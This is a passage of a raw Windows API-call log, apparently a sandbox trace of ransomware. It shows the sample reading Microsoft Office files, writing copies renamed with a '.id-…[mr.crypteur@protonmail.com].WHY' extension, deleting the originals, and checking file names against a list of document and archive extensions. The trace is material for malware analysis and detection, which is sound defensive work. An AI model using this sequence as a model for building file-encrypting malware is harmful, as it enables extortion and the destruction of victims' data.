SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.745] SetEndOfFile (hFile=0x384) returned 1 [0248.751] CloseHandle (hObject=0x384) returned 1 [0248.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0251.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0251.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.398] lstrlenW (lpString=".doc") returned 4 [0251.399] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0251.399] lstrlenW (lpString=".docx") returned 5 [0251.399] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0251.399] lstrlenW (lpString=".pdf") returned 4 [0251.399] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0251.399] lstrlenW (lpString=".xls") returned 4 [0251.399] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0251.399] lstrlenW (lpString=".xlsx") returned 5 [0251.399] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0251.399] lstrlenW (lpString=".ppt") returned 4 [0251.399] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0251.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.399] lstrlenW (lpString=".zip") returned 4 [0251.400] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0251.400] lstrlenW (lpString=".rar") returned 4 [0251.400] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0251.400] lstrlenW (lpString=".bz2") returned 4 [0251.400] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0251.400] lstrlenW (lpString=".7z") returned 3 [0251.400] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.400] lstrlenW (lpString=".dbf") returned 4 [0251.400] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.400] lstrlenW (lpString=".1cd") returned 4 [0251.400] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0251.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.401] lstrlenW (lpString=".jpg") returned 4 [0251.401] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0251.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.401] lstrlenW (lpString=".doc") returned 4 [0251.401] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0251.401] lstrlenW (lpString=".docx") returned 5 [0251.401] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0251.401] lstrlenW (lpString=".pdf") returned 4 [0251.401] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0251.402] lstrlenW (lpString=".xls") returned 4 [0251.402] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0251.402] lstrlenW (lpString=".xlsx") returned 5 [0251.402] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0251.402] lstrlenW (lpString=".ppt") returned 4 [0251.402] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0251.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.402] lstrlenW (lpString=".zip") returned 4 [0251.402] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0251.402] lstrlenW (lpString=".rar") returned 4 [0251.402] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0251.402] lstrlenW (lpString=".bz2") returned 4 [0251.402] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0251.402] lstrlenW (lpString=".7z") returned 3 [0251.403] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0251.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.403] lstrlenW (lpString=".dbf") returned 4 [0251.403] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0251.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.403] lstrlenW (lpString=".1cd") returned 4 [0251.403] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0251.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0251.403] lstrlenW (lpString=".jpg") returned 4 [0251.407] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0251.407] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0251.409] lstrlenW (lpString="Adjacency.eftx") returned 14 [0251.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.462] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=21089) returned 1 [0251.462] CloseHandle (hObject=0x384) returned 1 [0251.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0251.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0251.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.463] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.463] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0253.667] GetLastError () returned 0x0 [0253.667] ReadFile (in: hFile=0x384, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x5261, lpOverlapped=0x0) returned 1 [0253.686] WriteFile (in: hFile=0x354, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x5270, lpOverlapped=0x0) returned 1 [0253.690] ReadFile (in: hFile=0x384, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.690] WriteFile (in: hFile=0x354, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0253.690] SetEndOfFile (hFile=0x354) returned 1 [0253.690] CloseHandle (hObject=0x354) returned 1 [0253.701] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.702] SetEndOfFile (hFile=0x384) returned 1 [0253.789] CloseHandle (hObject=0x384) returned 1 [0253.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0253.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0253.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.792] lstrlenW (lpString=".doc") returned 4 [0253.792] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.792] lstrlenW (lpString=".docx") returned 5 [0253.792] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.792] lstrlenW (lpString=".pdf") returned 4 [0253.792] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0253.792] lstrlenW (lpString=".xls") returned 4 [0253.793] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.793] lstrlenW (lpString=".xlsx") returned 5 [0253.793] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.793] lstrlenW (lpString=".ppt") returned 4 [0253.793] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.793] lstrlenW (lpString=".zip") returned 4 [0253.793] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.793] lstrlenW (lpString=".rar") returned 4 [0253.793] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.793] lstrlenW (lpString=".bz2") returned 4 [0253.793] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.793] lstrlenW (lpString=".7z") returned 3 [0253.793] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.794] lstrlenW (lpString=".dbf") returned 4 [0253.794] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.794] lstrlenW (lpString=".1cd") returned 4 [0253.794] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.794] lstrlenW (lpString=".jpg") returned 4 [0253.794] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.794] lstrlenW (lpString=".doc") returned 4 [0253.794] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.794] lstrlenW (lpString=".docx") returned 5 [0253.794] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.795] lstrlenW (lpString=".pdf") returned 4 [0253.795] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0253.795] lstrlenW (lpString=".xls") returned 4 [0253.795] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.795] lstrlenW (lpString=".xlsx") returned 5 [0253.795] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.795] lstrlenW (lpString=".ppt") returned 4 [0253.795] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.795] lstrlenW (lpString=".zip") returned 4 [0253.795] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.795] lstrlenW (lpString=".rar") returned 4 [0253.795] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.795] lstrlenW (lpString=".bz2") returned 4 [0253.796] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.796] lstrlenW (lpString=".7z") returned 3 [0253.796] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.796] lstrlenW (lpString=".dbf") returned 4 [0253.796] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.796] lstrlenW (lpString=".1cd") returned 4 [0253.796] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0253.796] lstrlenW (lpString=".jpg") returned 4 [0253.796] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.797] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0253.797] lstrlenW (lpString="Apothecary.eftx") returned 15 [0253.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0254.015] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=49025) returned 1 [0254.015] CloseHandle (hObject=0x37c) returned 1 [0254.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 0x20 [0254.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0254.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0254.016] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.017] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0255.764] GetLastError () returned 0x0 [0255.764] ReadFile (in: hFile=0x37c, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0xbf81, lpOverlapped=0x0) returned 1 [0255.896] WriteFile (in: hFile=0x164, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xbf90, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xbf90, lpOverlapped=0x0) returned 1 [0255.902] ReadFile (in: hFile=0x37c, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0255.903] WriteFile (in: hFile=0x164, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0255.903] SetEndOfFile (hFile=0x164) returned 1 [0255.904] CloseHandle (hObject=0x164) returned 1 [0255.906] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.906] SetEndOfFile (hFile=0x37c) returned 1 [0255.953] CloseHandle (hObject=0x37c) returned 1 [0255.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0255.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx")) returned 1 [0255.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.955] lstrlenW (lpString=".doc") returned 4 [0255.955] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0255.955] lstrlenW (lpString=".docx") returned 5 [0255.956] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0255.956] lstrlenW (lpString=".pdf") returned 4 [0255.956] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0255.956] lstrlenW (lpString=".xls") returned 4 [0255.956] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0255.956] lstrlenW (lpString=".xlsx") returned 5 [0255.956] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0255.956] lstrlenW (lpString=".ppt") returned 4 [0255.956] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0255.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.956] lstrlenW (lpString=".zip") returned 4 [0255.956] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0255.956] lstrlenW (lpString=".rar") returned 4 [0255.957] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0255.957] lstrlenW (lpString=".bz2") returned 4 [0255.957] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0255.957] lstrlenW (lpString=".7z") returned 3 [0255.957] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0255.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.957] lstrlenW (lpString=".dbf") returned 4 [0255.957] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0255.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.957] lstrlenW (lpString=".1cd") returned 4 [0255.957] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0255.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.957] lstrlenW (lpString=".jpg") returned 4 [0255.958] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0255.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0255.958] lstrlenW (lpString=".doc") returned 4 [0255.958] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0255.958] lstrlenW (lpString=".docx") returned 5 [0255.958] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0255.958] lstrlenW (lpString=".pdf") returned 4 [0256.766] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0256.766] lstrlenW (lpString=".xls") returned 4 [0256.766] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0256.766] lstrlenW (lpString=".xlsx") returned 5 [0256.766] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0256.766] lstrlenW (lpString=".ppt") returned 4 [0256.766] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0256.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0256.767] lstrlenW (lpString=".zip") returned 4 [0256.767] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0256.767] lstrlenW (lpString=".rar") returned 4 [0256.767] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0256.767] lstrlenW (lpString=".bz2") returned 4 [0256.767] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0256.767] lstrlenW (lpString=".7z") returned 3 [0256.767] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0256.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0256.767] lstrlenW (lpString=".dbf") returned 4 [0256.767] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0256.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0256.768] lstrlenW (lpString=".1cd") returned 4 [0256.768] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0256.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0256.768] lstrlenW (lpString=".jpg") returned 4 [0256.768] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0256.769] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0256.769] lstrlenW (lpString="Austin.eftx") returned 11 [0256.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0256.775] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=26989) returned 1 [0256.776] CloseHandle (hObject=0x164) returned 1 [0256.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0256.776] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0256.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0256.777] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.777] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0256.778] GetLastError () returned 0x0 [0256.778] ReadFile (in: hFile=0x164, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x696d, lpOverlapped=0x0) returned 1 [0256.784] WriteFile (in: hFile=0x38c, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x6970, lpOverlapped=0x0) returned 1 [0256.789] ReadFile (in: hFile=0x164, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.789] WriteFile (in: hFile=0x38c, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xea, lpOverlapped=0x0) returned 1 [0256.790] SetEndOfFile (hFile=0x38c) returned 1 [0256.790] CloseHandle (hObject=0x38c) returned 1 [0256.797] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.797] SetEndOfFile (hFile=0x164) returned 1 [0256.805] CloseHandle (hObject=0x164) returned 1 [0256.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0256.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0256.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0256.807] lstrlenW (lpString="C:\\Program 